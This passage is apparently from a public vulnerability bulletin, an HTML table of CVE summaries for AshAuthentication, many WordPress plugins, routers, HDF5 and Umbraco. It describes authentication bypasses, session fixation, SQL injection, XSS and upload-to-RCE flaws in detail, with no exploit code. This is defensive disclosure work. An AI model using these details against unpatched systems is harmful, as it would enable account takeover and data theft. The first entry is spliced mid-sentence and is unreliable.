&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82761&quot; target=&quot;_blank&quot;&gt;CVE-2026-82761&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Authentication Bypass by Primary Weakness vulnerability in team-alembic AshAuthentication allows an unconfirmed user to obtain a session, defeating a mandatory email confirmation requirement. AshAuthentication.Strategy.Password.Actions.check_user/2 decides whether the attribute named by require_confirmed_with is set using a bare is_nil(Map.get(user, value)). When that attribute is not selected on the loaded record Map.get/2 returns %Ash.NotLoaded{}, and when a field policy denies it for the current actor it returns %Ash.ForbiddenField{}. Neither is nil, so the rejection branch is skipped and sign-i require_confirmed_with is enforced in two places, and neither holds in every configuration. sign_in_with_token and register are checked only inside AshAuthentication.Strategy.Password.Actions, not on the action itself, so any caller that invokes the action directly skips the check. An API layer such as AshGraphql or AshJsonApi invokes the action directly, so this applies to the default configuration. Where a check does run it compares the confirmation attribute against nil. That attribute holds %Ash.NotLoaded{} or %Ash.ForbiddenField{} when it sets select_by_default?: false, when an API layer narrows the read&#039;s select, or when a field policy hides it from the sign-in actor. Neither struct is nil, so those configurations read every user as confirmed. This issue affects ash_authentication: from 4.3.8 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85500&quot; target=&quot;_blank&quot;&gt;CVE-2026-85500&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Improper Output Neutralization for Logs vulnerability in team-alembic AshAuthentication allows an unauthenticated attacker to forge application log entries by submitting a password reset identity containing newlines or control characters. AshAuthentication.Strategy.Password.RequestPasswordReset.run/3 interpolates the identity argument, the email or username taken straight from the reset request, into its Logger.warning/1 heredocs without escaping, truncating or type-restricting it. The resource logged beside it is passed through inspect/1, which would have neutralized the value. A newline in the identity therefore ends the log record, and everything after it is written as a line of its own, so an attacker chooses the severity tag and the content of entries that appear to have come from the application. This issue affects ash_authentication: from 4.2.0 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86522&quot; target=&quot;_blank&quot;&gt;CVE-2026-86522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Insufficient Session Expiration vulnerability in team-alembic AshAuthentication and AshAuthentication Phoenix allows a revoked session to remain fully authenticated. A resource configured with session_identifier :jti and require_token_presence_for_authentication? disabled stores its session value as &amp;lt;jti&amp;gt;:&amp;lt;subject&amp;gt;. The jti is there so that signing out can revoke that one session. Neither reader consults it: AshAuthentication.Plug.Helpers.authenticate_resource_from_session/4 and AshAuthentication.Phoenix.LiveSession.on_mount/4 both split the value with split_identifier/2, discard the jti and pass the bare subject to AshAuthentication.subject_to_user/3, which reloads the record. The token-presence branch of each function does check its token, calling AshAuthentication.TokenResource.Actions.get_token/3 with the jti and the purpose user. Because the revocation record is never read, neither its revoked state nor its expiry constrains the session, so a session captured before sign-out keeps working. This issue affects ash_authentication: from 4.9.1 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14; ash_authentication_phoenix: from 2.10.0 before 2.17.4 and from 3.0.0-rc.0 before 3.0.0-rc.11.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86533&quot; target=&quot;_blank&quot;&gt;CVE-2026-86533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Session Fixation vulnerability in team-alembic ash_authentication allows an attacker who can plant a session identifier in a victim&#039;s browser to hold an authenticated session once that victim signs in. AshAuthentication.Plug.Helpers.store_in_session/2 writes the authenticated subject into the existing session with Plug.Conn.put_session/3 and never calls Plug.Conn.configure_session(renew: true), so the identifier the visitor arrived with carries into their authenticated session. Every authentication event reaches this one function: the default success/4 injected by AshAuthentication.Phoenix.Controller.__using__/1, the AuthController emitted by mix ash_authentication_phoenix.install, and remember-me auto-login. AshAuthentication.Phoenix.Plug.store_in_session/2 is a defdelegate to it. Logout does not close the window either, because clear_session/2 ends with Plug.Conn.clear_session/1, which clears session contents but leaves the identifier intact, so a planted identifier survives a logout-then-login cycle. This issue affects ash_authentication: from 0.2.0 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86688&quot; target=&quot;_blank&quot;&gt;CVE-2026-86688&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Improper Authentication vulnerability in team-alembic AshAuthentication allows an attacker to be signed in as another user by linking an OAuth2 identity to an account that is not theirs. AshAuthentication.Strategy.OAuth2.UserResolver.resolve/3 matches an existing account using the register action&#039;s upsert_identity keys, then gates linking the incoming provider identity to it on email_trusted?/2, which reads only the provider&#039;s email_verified boolean and never compares the provider&#039;s email value with the matched account&#039;s email. That gate assumes the account was matched by its email field, so under any other upsert_identity it is vacuous and an attacker presenting their own verified email is attached to, and issued a session for, an account matched on some other attribute. The same unguarded gate applies in OAuth2.SignInPreparation on the registration_enabled? false path, where the account is matched by the sign-in action&#039;s read filter instead. The upsert also rewrites the matched account&#039;s email to the attacker&#039;s address, so later account recovery reaches the attacker rather than the owner. This issue affects ash_authentication: from 4.14.0 before 4.15.0 and from 5.0.0-rc.10 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88952&quot; target=&quot;_blank&quot;&gt;CVE-2026-88952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Authentication Bypass by Spoofing vulnerability in team-alembic ash_authentication allows an attacker who operates one identity-provider connection of a dynamic_oidc strategy to be signed in as a local user established through a different connection. The strategy is meant to keep each connection in its own identity namespace by writing every UserIdentity row&#039;s strategy field as &quot;&amp;lt;name&amp;gt;/&amp;lt;connection_id&amp;gt;&quot;, but that namespacing never takes effect. __connection_id__ is populated only on the ephemeral runtime struct built per request in dynamic_oidc/plug.ex, and DynamicOidc.IdentityChange.change/3 re-fetches the strategy from the compile-time DSL through Info.strategy_for_action, yielding the persisted struct whose __connection_id__ is its defstruct default of nil. OAuth2.identity_strategy_name/1 therefore falls back to the bare strategy name for both the identity write and the reads in oauth2/user_resolver.ex and oauth2/sign_in_preparation.ex. Since the identity resource&#039;s unique key is (uid, strategy), one row exists per sub across every connection, and the identity-match branch runs before any email check. Neither strategy handles iss, so nothing else distinguishes the issuers: OpenID Connect Core section 5.7 makes sub unique only within an issuer, so two connections numbering subjects independently share one subject space. This issue affects ash_authentication: from 5.0.0-rc.10 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91039&quot; target=&quot;_blank&quot;&gt;CVE-2026-91039&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication_phoenix&lt;/td&gt;
&lt;td&gt;Use of HTTP Request With Sensitive Query String vulnerability in team-alembic AshAuthenticationPhoenix allows someone able to read access logs, proxy logs or browser history to recover a single-use sign-in token and authenticate as its owner. After a successful password sign-in, AshAuthentication.Phoenix.Components.Password.SignInForm builds the sign_in_with_token path with the freshly issued user.__metadata__.token as a query parameter and redirects the browser to it with a GET. The token therefore travels in the request line, where web servers, reverse proxies, request telemetry and the browser&#039;s own history record it, all of which outlive the request and are ordinarily less protected than session storage. The redirect destination is restricted to a local path, so this is not an open redirect; the exposure is the retention of a live credential. This issue affects ash_authentication_phoenix: from 1.7.0 before 2.17.4 and from 3.0.0-rc.0 before 3.0.0-rc.11; ash_authentication: from 3.10.5 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81632&quot; target=&quot;_blank&quot;&gt;CVE-2026-81632&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tenda Technology Co., Ltd--NVR_4H CH3 v2.1 V27.5.58.6&lt;/td&gt;
&lt;td&gt;Tenda Technology Co., Ltd NVR_4H CH3 v2.1 V27.5.58.6 was discovered to contain a hardcoded cryptographic key.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79551&quot; target=&quot;_blank&quot;&gt;CVE-2026-79551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The HDF Group--HDF5&lt;/td&gt;
&lt;td&gt;A heap-use-after-free vulnerability exists in H5T__conv_f_f() in src/H5Tconv.c in HDF5 before 1.14.2.&amp;nbsp;When converting a compound datatype containing floating-point members during a dataset read, a temporary buffer allocated with calloc() is freed and subsequently read from within the same conversion routine. An attacker who can supply a crafted HDF5 file containing a specially constructed compound datatype can trigger the use-after-free when the file is parsed by an application that reads the affected dataset, such as h5dump.&amp;nbsp;This can result in a crash and, depending on heap layout and allocator behavior, may be exploitable for further memory corruption up to remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92627&quot; target=&quot;_blank&quot;&gt;CVE-2026-92627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Pressengine--The Pressengine&lt;/td&gt;
&lt;td&gt;The Pressengine WordPress plugin through 1.0 does not stop its login handler from issuing a session when authentication fails, allowing unauthenticated attackers to log in as any user, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86709&quot; target=&quot;_blank&quot;&gt;CVE-2026-86709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TikTok--TikTok&lt;/td&gt;
&lt;td&gt;The TikTok WordPress plugin before 1.4.2 does not check that a request is authorised before acting on a sign-in code supplied in the URL, so any visitor can make the site redeem a code of their choosing against the advertising platform, using the site&#039;s own credentials. It matches that code loosely, so URLs that merely resemble the expected one trigger it too, and the callback runs on every request to the site rather than only on the administrator&#039;s sign-in.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92965&quot; target=&quot;_blank&quot;&gt;CVE-2026-92965&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TOTOLINK --X5000R&lt;/td&gt;
&lt;td&gt;TOTOLINK X5000R V9.1.0cu.2415_B20250515 was discovered to contain a hardcoded password for root access.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-37152&quot; target=&quot;_blank&quot;&gt;CVE-2026-37152&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TP-Link--TL-WR740N v1&lt;/td&gt;
&lt;td&gt;DD-WRT firmware, as deployed on TP-Link TL-WR740N v1 through v4 hardware, stores sensitive authentication credentials in cleartext within non-volatile memory. The exposed material includes SSH private keys, dynamic DNS passwords, email notification credentials and administrative passwords. An attacker with physical access to the device can extract these credentials from an SPI flash dump, leading to device compromise, infiltration of the connected network and unauthorised access to dependent third-party services.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-56565&quot; target=&quot;_blank&quot;&gt;CVE-2025-56565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TREXOM--TrxTimeATTENDANCE&lt;/td&gt;
&lt;td&gt;An unauthenticated OS command injection vulnerability exists in the&amp;nbsp;ping.php&amp;nbsp;endpoint, allowing remote attackers to execute arbitrary commands on the underlying operating system and achieve remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89308&quot; target=&quot;_blank&quot;&gt;CVE-2026-89308&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Trilium--Trillium Notes&lt;/td&gt;
&lt;td&gt;Trilium Notes, version v0.103.0 and earlier, contains a stored cross-site scripting (XSS) vulnerability in the share renderer for webView notes due to improper HTML escaping of user-controlled #webViewSrc values. This vulnerability allows attackers with note-authoring privileges to inject arbitrary JavaScript that executes for any user who opens the shared note, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91021&quot; target=&quot;_blank&quot;&gt;CVE-2026-91021&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tripzzy--Tripzzy&lt;/td&gt;
&lt;td&gt;The Tripzzy WordPress plugin before 1.5.1 does not have authorisation checks, and does not validate the identifier of the object being removed, in an AJAX action available to unauthenticated users, allowing them to permanently delete arbitrary comments on the site.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87839&quot; target=&quot;_blank&quot;&gt;CVE-2026-87839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tripzzy--Tripzzy&lt;/td&gt;
&lt;td&gt;The Tripzzy WordPress plugin before 1.5.1 does not perform any capability or ownership checks on its administrative booking-management actions, which are additionally exposed to unauthenticated users and gated only by a token the Tripzzy WordPress plugin before 1.5.1 issues to any anonymous visitor on request, allowing unauthenticated attackers to alter the contents, stored totals and notes of arbitrary bookings.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87840&quot; target=&quot;_blank&quot;&gt;CVE-2026-87840&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tutor LMS--Tutor LMS&lt;/td&gt;
&lt;td&gt;The Tutor LMS WordPress plugin before 4.0.8 does not correctly determine whether an incoming request is addressed to its own REST API, and does not enforce the permission recorded against an API credential, allowing the holder of a read-only key to act as the administrator account that issued it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85569&quot; target=&quot;_blank&quot;&gt;CVE-2026-85569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tutor LMS--Tutor LMS&lt;/td&gt;
&lt;td&gt;The Tutor LMS WordPress plugin before 4.0.8 does not check that a user has access to a course before returning its lesson discussion content, allowing any authenticated user, such as a subscriber, to read comments from courses they are not enrolled in, including comments awaiting moderation.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85572&quot; target=&quot;_blank&quot;&gt;CVE-2026-85572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tz Weekly Radio Schedule--Tz Weekly Radio Schedule&lt;/td&gt;
&lt;td&gt;The Tz Weekly Radio Schedule WordPress plugin through 1.8.1 does not sanitize and escape a parameter before using it to build a SQL query on an AJAX action available to unauthenticated users, allowing unauthenticated attackers to perform SQL injection attacks and extract sensitive data from the database.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87774&quot; target=&quot;_blank&quot;&gt;CVE-2026-87774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tz Weekly Radio Schedule--Tz Weekly Radio Schedule&lt;/td&gt;
&lt;td&gt;The Tz Weekly Radio Schedule WordPress plugin through 1.8.1 does not sanitize and escape a parameter before using it to build a SQL query on an AJAX action available to unauthenticated users, allowing unauthenticated attackers to perform SQL injection attacks and extract sensitive data from the database.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87775&quot; target=&quot;_blank&quot;&gt;CVE-2026-87775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ultimate Member--Ultimate Member&lt;/td&gt;
&lt;td&gt;The Ultimate Member WordPress plugin before 2.13.1 does not escape a value derived from user supplied profile names before outputting it in the page title, and decodes HTML entities in it after its own sanitisation has already run, allowing unauthenticated attackers who register an account to store JavaScript that will execute when any visitor, including an administrator, views their profile.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85680&quot; target=&quot;_blank&quot;&gt;CVE-2026-85680&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ultra Addons for Contact Form 7--Ultra Addons for Contact Form 7&lt;/td&gt;
&lt;td&gt;The Ultra Addons for Contact Form 7 WordPress plugin before 3.5.51 does not validate the type or extension of files uploaded through one of its form fields, and stores them at a predictable public path with the attacker-chosen extension intact, allowing unauthenticated users to upload arbitrary files. The PHP handler shipped by default with the Debian and Ubuntu Apache packages maps .phar to PHP alongside .php and .phtml, so on that stack the uploaded file is executed and the issue leads to Remote Code Execution and full site takeover. Where the host routes only .php to the PHP handler, the same file is instead served from the site&#039;s own origin with its script intact, leading to Stored Cross-Site Scripting.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84750&quot; target=&quot;_blank&quot;&gt;CVE-2026-84750&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;umbraco--Umbraco-CMS&lt;/td&gt;
&lt;td&gt;Umbraco is an ASP.NET CMS. Prior to 13.15.1, 17.5.3, and 18.0.2, the Content Delivery API applies member and Public Access checks to the directly requested node but not to referenced nodes serialized through Content Picker or Multi-Node Tree Picker properties, including pickers nested in Block List, Block Grid, or Rich Text Editor blocks. When DeliveryApi:PublicAccess is enabled, an anonymous caller can retrieve a protected node&#039;s name, route, and id through an unprotected referencing node and use ?expand to retrieve full property values. When the Delivery API is instead gated by the organization-wide API key, a key holder can still bypass per-node Public Access through the same expansion path. The same RequestContextOutputExpansionStrategyV2 and ElementOnlyOutputExpansionStrategy path also bypasses allowed or disallowed content-type alias restrictions for referenced content. Direct requests for the protected node still return 401, and no integrity or availability impact is established. This issue is fixed in versions 13.15.1, 17.5.3, and 18.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69197&quot; target=&quot;_blank&quot;&gt;CVE-2026-69197&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Unbounce Landing Pages--Unbounce Landing Pages&lt;/td&gt;
&lt;td&gt;The Unbounce Landing Pages WordPress plugin before 1.1.5 does not perform any authorisation check when updating the configuration its front-end proxy relies on, allowing any authenticated user, such as a subscriber, to point that proxy at a host they control and have arbitrary content served from the site&#039;s own origin.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85574&quot; target=&quot;_blank&quot;&gt;CVE-2026-85574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;uniget-org--cli&lt;/td&gt;
&lt;td&gt;uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go parses UNIGET_EDITOR or EDITOR with strings.Split(editor, &quot; &quot;) and passes every space-delimited suffix as an argument to the selected editor executable. An attacker who can influence the editor environment and cause hook editing can supply unexpected editor arguments, potentially causing unintended actions with the privileges of the uniget process account. Go os/exec does not evaluate shell operators in these arguments, so the advisory&#039;s wrapper demonstration establishes argument delivery but does not establish shell command interpretation. This issue is fixed in version 0.27.6.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55061&quot; target=&quot;_blank&quot;&gt;CVE-2026-55061&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;uniget-org--cli&lt;/td&gt;
&lt;td&gt;uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go concatenates an unvalidated hook filename with the selected hooks directory, allowing parent-directory components to escape that directory. The resulting path is passed to the configured editor, which can access or modify files outside the hooks directory with the privileges of the uniget process account. This issue is fixed in version 0.27.6.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55062&quot; target=&quot;_blank&quot;&gt;CVE-2026-55062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Unlimited Elements For Elementor--Unlimited Elements For Elementor&lt;/td&gt;
&lt;td&gt;The Unlimited Elements For Elementor WordPress plugin before 2.0.20 does not perform a capability check on an AJAX action and deserializes attacker-controlled stored data through it, which makes it possible for authenticated attackers with subscriber-level access to inject arbitrary PHP objects. A partial fix in the 2.0.18 to 2.0.19 releases raised the privilege required to reach the vulnerable action to editor-level, and the issue was fully resolved in 2.0.20.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85017&quot; target=&quot;_blank&quot;&gt;CVE-2026-85017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;UpsellWP--UpsellWP&lt;/td&gt;
&lt;td&gt;The UpsellWP WordPress plugin before 2.2.10 does not check that products added to the cart through a Frequently Bought Together campaign belong to that campaign, allowing unauthenticated users to buy arbitrary products at the campaign&#039;s discounted price.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85350&quot; target=&quot;_blank&quot;&gt;CVE-2026-85350&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;UsersWP--UsersWP&lt;/td&gt;
&lt;td&gt;The UsersWP WordPress plugin before 1.5.10 does not verify that a social login provider has confirmed ownership of an email address before using it to resolve an existing account, allowing unauthenticated attackers to log in as any user, including administrators, whose email address they can assert through a provider account of their own.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86814&quot; target=&quot;_blank&quot;&gt;CVE-2026-86814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;VikBooking Hotel Booking Engine &amp;amp; PMS--VikBooking Hotel Booking Engine &amp;amp; PMS&lt;/td&gt;
&lt;td&gt;The VikBooking Hotel Booking Engine &amp;amp; PMS WordPress plugin before 1.8.15 does not restrict the type of files unauthenticated visitors may attach to its live chat, nor sanitize their contents, allowing them to store active content which is executed in the context of an administrator viewing the conversation.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85127&quot; target=&quot;_blank&quot;&gt;CVE-2026-85127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;VikRentItems Flexible Rental Management System--VikRentItems Flexible Rental Management System&lt;/td&gt;
&lt;td&gt;The VikRentItems Flexible Rental Management System WordPress plugin before 1.2.4 does not sanitise and escape some of its parameters before using them in SQL statements, allowing unauthenticated users to perform SQL injection attacks.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88926&quot; target=&quot;_blank&quot;&gt;CVE-2026-88926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Vinyl-Cache--Vinyl Cache&lt;/td&gt;
&lt;td&gt;In Vinyl Cache before 9.0,2, workspace buffer overflow vulnerability was found in the .upper() and .lower() string type methods of VCL. This can be used as a remote denial of service (DoS) vector to make the child process segfault or assert, and then restart. Effectively exploiting this vulnerability requires prior knowledge about the VCL in use and the ability to craft a request that contains a string that is long enough to fill the remaining workspace at the call site while staying under the different request size limits (http_req_size, http_req_hdr_len, etc.).&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93894&quot; target=&quot;_blank&quot;&gt;CVE-2026-93894&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Visualizer--Visualizer&lt;/td&gt;
&lt;td&gt;The Visualizer WordPress plugin before 4.0.8 does not sanitise and escape a chart&#039;s JSON data source configuration before outputting it back in the chart editor, allowing users with the Contributor role and above to store JavaScript that executes in the browser of any higher-privileged user, such as an administrator, who reviews the affected chart.&lt;/td&gt;
